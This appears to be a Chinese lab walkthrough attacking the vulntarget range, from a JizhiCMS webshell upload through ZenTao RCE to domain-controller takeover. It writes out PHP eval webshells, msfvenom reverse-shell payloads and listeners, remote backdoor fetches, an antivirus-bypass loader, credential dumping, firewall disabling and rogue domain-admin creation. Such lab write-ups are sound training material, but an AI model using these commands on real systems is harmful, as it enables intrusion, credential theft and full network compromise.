目录
靶场环境:
项目地址: https://github.com/crow821/vulntarget
涉及知识点:极致cms相关漏洞、禅道cms相关漏洞、隧道代理、免杀、CVE-2021-1732 、CVE-2021-42287/CVE-2021-42278
kali攻击机 ip:192.168.127.129
centos7 ip:192.168.127.131
centos7外网网卡进行修改
cd /etc/sysconfig/network-scripts
vi ifcfg-ens33
修改成dhcp模式即可,可以参照我下面的图片设置:
nmap -sT -Pn 192.168.127.131
80端口没有找到可利用的东西,888显示403 forbidden,8888是宝塔的登陆面板,这里找到一个81端口,为极致cms搭建的站点。
点击登陆无反应
端口扫描是否有可利用的信息:
python dirpro.py -u http://192.168.127.131:81/
发现有一个admin.php的页面,访问发现是一个后台管理系统。
尝试使用弱口令进行登陆,登陆成功
账号:admin
密码:admin123
进入后台功能点很多,这里查看历史存在的nday,找到了两个,都是利用插件的方式。
在插件这儿下载一个插件试试:
查看数据包,有三个数据包值得留意:
数据包一:下载准备
数据包二:下载文件
数据包三:解压缩安装包
如上的url可控,我们可以修改url地址为攻击机服务器上的后门。这里我们可以在kali上开启一个web服务。
echo "<?php eval($_POST['nanmu']);?>" > shell.php
zip shell.zip shell
python3 -m http.server
以下修改url要进行很多步,原因是一次最多传1024个字节,我自己一直改了十几次
写入成功了,我们如何找到写入webshell的路径呢。我们查看安装说明,看到一个路径,/A/exts/
推测路径为:“http://192.168.127.131:81/A/exts/shell.php”,尝试连接,连接成功。
但是执行命令发现,无法执行命令,可能存在 disable_function,这里使用蚁剑插件可以绕过(下载插件需要科学上网)。
这时候就可以发现能够执行命令了:
这里还有另一种方式getshell(更简单):这里不过多赘述。
记某CMS漏洞getshell_苹果cmsgetshell-CSDN博客
这里我们将权限转移到msf上,上传一个木马到centos7上即可。
这里设置的是反向连接。
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.0.0.3 lport=4444 -f elf >shell.elf
将生成的shell.elf上传至目标主机,并赋予可执行权限:
chmod +x shell.elf
kali设置监听:
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.127.129
set lport 4444
exploit
得到一个权限较低的权限,先尝试权限提升。
进入shell会话,发现存在python环境,创建一个交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
先上传一个探针进行探测
项目地址:https://github.com/mzet-/linux-exploit-suggester
赋予可执行权限:
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
可以看到存在脏牛(没有gcc,无法实现)等提权漏洞。
感兴趣的朋友可以看看我写的这篇脏牛提权教程:
Linux脏牛(CVE-2016-5195)提权保姆级教程_脏牛提权-CSDN博客
可以用CVE-2021-3156(sudo提权),还有一个CVE-2021-4034(pkexec),我们这里使用sudo提权。
bg
search CVE-2021-3156
use 0
set target 12
set session 1
run
提权成功,可以看到我们创建了一个名为msf的管理员用户,密码为fjidggrhylxdeva,要是没有生成交互式shell,可以ssh远程登录,然后找到刚才我们生成的shell.elf,运行即可获得管理员权限。
查看ip地址,发现除了192.168.127.131之外还有一个10.0.20.30
添加路由:
run autoroute -s 10.0.20.0/24
run autoroute -p
use auxiliary/scanner/portscan/tcp
set rhosts 10.0.20.0/24
set ports 22,23,80,135,139,445,1433,3389,8080
set threads 30
run
发现10.0.20.66主机,开放了8080端口。
开启代理(上一篇博客讲述了如何配置代理):
use auxiliary/server/socks_proxy
run
jobs
这里我们使用本机进行连接,代理端口默认为1080
访问http:10.0.20.66:8080,发现是禅道的登陆框。
检查版本:http://10.0.20.66:8080/index.php?mode=getconfig发现是12.4.2的版本。
搜索对应的nday,发现存在getshell的漏洞,进行尝试。
首先需要登陆进后台
这里尝试使用burpsuit进行爆破,发现存在js加密。
js逆向花费时间太多,这里推荐一个工具,不需要解密js。使用方式也和burpsuit的方式一样(这里输入次数有限制,寄啦!)
不过最后还是获取了账号密码:
admin Admin123
首先我们需要在centos7上开启一个临时的web服务并写下一个后门(让win10远程下载)。
bg
sessions
sessions -i 2
shell
python -c "import pty;pty.spawn('/bin/bash')"
echo "<?php @eval(\$_REQUEST['x']);?>" > 2.php
开启web服务
python -m SimpleHTTPServer 4455
之后访问:http://10.0.20.66:8080/index.php/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6NTU2Ni8xLnBocA==
路径在/data/client/1/1.php
这里我又尝试了几个免杀webshell,防止被杀....
注意设置为GBK编码,不然页面会出现乱码。
获取到一个较低的权限,将会话转移到msf中,在此之前,先看看有什么杀软。
tasklist
将所有信息复制,然后粘贴到: 杀软在线查询 ,该项目会自动检测目标主机存在什么杀软。
可以看到有一个火绒,寻找可以绕过火绒的方法。
这里需要下载一个加载器:
https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/gsl-sc-loader.zip
生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.20.30 lport=3333 -f hex -o shell.hex
将该文件以及加载器都上传到win10中。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.30
set lport 3333
run
gsl64.exe -f shell.hex -hex
发现是一个较低权限,但是输入getsystem也能获得管理员权限,这里还可以使用Microsoft Windows10 本地提权漏洞(CVE-2021-1732)
休眠和关闭防火墙:
shell
chcp 65001
powercfg -h off
netsh firewall set opmode mode=disable
ipconfig /all
查找域控ip:
nslookup WIN-UH20PRD3EAO.vulntarget.com
域控ip为10.0.10.100
load kiwi
creds_all
hashdump
hash解密得到密码为admin#123
添加路由:
run autoroute -s 10.0.10.1/24
run autoroute -p
Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限等危害。
git clone https://github.com/WazeHell/sam-the-admin.git
下载sam脚本后需要修改一下源码:
sudo vi sam_the_admin.py
需要添加“-codec gbk”,否者会出现乱码导致命令结果无法查看。
proxychains4 python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell
可以看到我们已经控制了域控,且权限为system。
net user nanmu1 WSAD@520 /add /domain
net group"Domain Admins" nanmu1 /add /domain
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
proxychains remmina
成功获取域控